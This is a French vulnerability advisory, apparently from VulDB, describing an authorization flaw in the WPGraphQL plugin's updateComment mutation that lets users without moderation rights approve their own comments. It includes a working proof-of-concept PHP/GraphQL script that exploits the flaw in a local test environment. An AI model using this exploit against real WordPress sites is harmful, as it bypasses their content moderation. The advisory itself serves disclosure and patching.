CVE-2026-33290 in wp-graphql
Résumé
par VulDB • 24/05/2026
WPGraphQL fournit une API GraphQL pour les sites WordPress. Avant la version 2.10.0, une faille d'autorisation dans `updateComment` permet à un utilisateur authentifié à faible privilège (y compris un rôle personnalisé avec zéro capacité) de modifier le statut de modération de son propre commentaire (par exemple, le passer à APPROVE) sans disposer de la capacité `moderate_comments`. Cela peut contourner les flux de travail de modération et permettre aux utilisateurs non fiables d'auto-approuver leur contenu. La version 2.10.0 contient un correctif.
### Détails
Dans WPGraphQL 2.9.1 (testé), l'autorisation pour `updateComment` est basée sur le propriétaire, et non sur le champ :
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 autorise les modérateurs. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 autorise également le propriétaire du commentaire, même s'il lui manque la capacité de modération. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 mappe l'état d'entrée GraphQL directement vers `comment_approved` de WordPress. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persiste cette valeur via `wp_update_comment`. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 expose les états de modération (APPROVE, HOLD, SPAM, TRASH).
Cela signifie qu'un propriétaire non modérateur peut soumettre un statut lors de la mise à jour et faire transitionner l'état de modération.
### PoC
Testé dans un environnement local wp-env (Docker) avec WPGraphQL 2.9.1.
1. Démarrer l'environnement :
npm install npm run wp-env start
2. Exécuter ce PoC :
``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps"); if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```
3. Observer le résultat :
- role_caps est vide (ou pas de moderate_comments) - la mutation retourne status: APPROVE - La valeur de la DB devient comment_approved = 1
### Impact
Il s'agit d'une faille de contrôle d'accès / contournement d'autorisation dans les transitions d'état de modération des commentaires. Tout déploiement utilisant les mutations de commentaires WPGraphQL où les utilisateurs à faible privilège peuvent faire des commentaires est impacté. La politique de modération peut être contournée en auto-approuvant le contenu.
If you want to get best quality of vulnerability data, you may have to visit VulDB.